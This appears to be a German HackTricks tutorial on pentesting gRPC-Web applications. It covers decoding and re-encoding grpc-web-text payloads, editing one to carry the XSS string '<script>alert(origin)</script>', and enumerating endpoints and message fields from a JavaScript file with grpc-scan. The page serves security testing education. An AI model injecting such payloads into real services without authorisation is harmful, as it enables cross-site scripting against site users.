gRPC-Web Pentest

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Manipulation von gRPC-Web-Payloads

gRPC-Web verwendet Content-Type: application/grpc-web-text in Anfragen, was einer Art von protobuf in base64-kodierter Form entspricht. Sie können das gprc-coder-Tool verwenden und auch die Burp Suite-Erweiterung installieren.

Manuell mit dem gGRPC Coder Tool

  1. Dekodieren Sie zuerst den Payload:

echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
  1. Bearbeiten Sie den Inhalt der decodierten Nutzlast

Manchmal müssen Sie möglicherweise den Inhalt der decodierten Nutzlast bearbeiten, um bestimmte Angriffe durchzuführen oder Informationen zu ändern. Hier sind einige Schritte, um den Inhalt der decodierten Nutzlast zu bearbeiten:

  1. Decodieren Sie die Nutzlast: Verwenden Sie die entsprechenden Tools oder Techniken, um die Nutzlast zu decodieren und den Inhalt sichtbar zu machen.

  2. Bearbeiten Sie den Inhalt: Öffnen Sie die decodierte Nutzlast in einem Texteditor und bearbeiten Sie den Inhalt nach Bedarf. Stellen Sie sicher, dass Sie die Syntax und Struktur der Nutzlast beibehalten, um Fehler zu vermeiden.

  3. Speichern Sie die Änderungen: Speichern Sie die bearbeitete Nutzlast und stellen Sie sicher, dass sie im richtigen Format gespeichert wird, um sie später verwenden zu können.

Es ist wichtig zu beachten, dass das Bearbeiten der Nutzlast bestimmte Risiken mit sich bringen kann. Stellen Sie sicher, dass Sie die Auswirkungen Ihrer Änderungen verstehen und die erforderlichen Vorsichtsmaßnahmen treffen, um unerwünschte Folgen zu vermeiden.

nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
  1. Kodieren Sie die neue Nutzlast

protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
  1. Verwenden Sie die Ausgabe im Burp-Interceptor:

AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+

Handbuch mit gRPC-Web Coder Burp Suite Erweiterung

Sie können die gRPC-Web Coder Burp Suite Erweiterung in der gRPC-Web Pentest Suite verwenden, was einfacher ist. Die Installations- und Verwendungshinweise finden Sie im entsprechenden Repository.

Analyse von gRPC-Web Javascript-Dateien

In jeder gRPC-Web-Anwendung gibt es mindestens eine Javascript-Datei. Sie können die Datei analysieren, um neue Nachrichten, Endpunkte und Dienste zu finden. Versuchen Sie es mit dem Tool gRPC-Scan.

  1. Laden Sie die Javascript gRPC-Web-Datei herunter.

  2. Scannen Sie sie mit grpc-scan.py:

python3 grpc-scan.py --file main.js
  1. Analysiere die Ausgabe und teste die neuen Endpunkte und neuen Services:

Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort

Found Messages:

grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name |     Field Type     | Field Number |
+============+====================+==============+
| Message    | Proto3StringField  | 1            |
+------------+--------------------+--------------+
| Name       | Proto3StringField  | 2            |
+------------+--------------------+--------------+
| Age        | Proto3IntField     | 3            |
+------------+--------------------+--------------+
| IsAdmin    | Proto3BooleanField | 4            |
+------------+--------------------+--------------+
| Weight     | Proto3FloatField   | 5            |
+------------+--------------------+--------------+
| Test       | Proto3StringField  | 6            |
+------------+--------------------+--------------+
| Test2      | Proto3StringField  | 7            |
+------------+--------------------+--------------+
| Test3      | Proto3StringField  | 16           |
+------------+--------------------+--------------+
| Test4      | Proto3StringField  | 20           |
+------------+--------------------+--------------+

grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
|  Field Name  |     Field Type     | Field Number |
+==============+====================+==============+
| Message      | Proto3StringField  | 1            |
+--------------+--------------------+--------------+
| Name         | Proto3StringField  | 2            |
+--------------+--------------------+--------------+
| Age          | Proto3IntField     | 3            |
+--------------+--------------------+--------------+
| IsAdmin      | Proto3BooleanField | 4            |
+--------------+--------------------+--------------+
| Weight       | Proto3FloatField   | 5            |
+--------------+--------------------+--------------+
| Test         | Proto3StringField  | 6            |
+--------------+--------------------+--------------+
| Test2        | Proto3StringField  | 7            |
+--------------+--------------------+--------------+
| Test3        | Proto3StringField  | 16           |
+--------------+--------------------+--------------+
| Test4        | Proto3StringField  | 20           |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField     | 8            |
+--------------+--------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
|   Field Name    |    Field Type     | Field Number |
+=================+===================+==============+
| Message         | Proto3StringField | 1            |
+-----------------+-------------------+--------------+
| MessageCount    | Proto3IntField    | 2            |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField    | 3            |
+-----------------+-------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
|  Field Name  |   Field Type   | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1            |
+--------------+----------------+--------------+

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated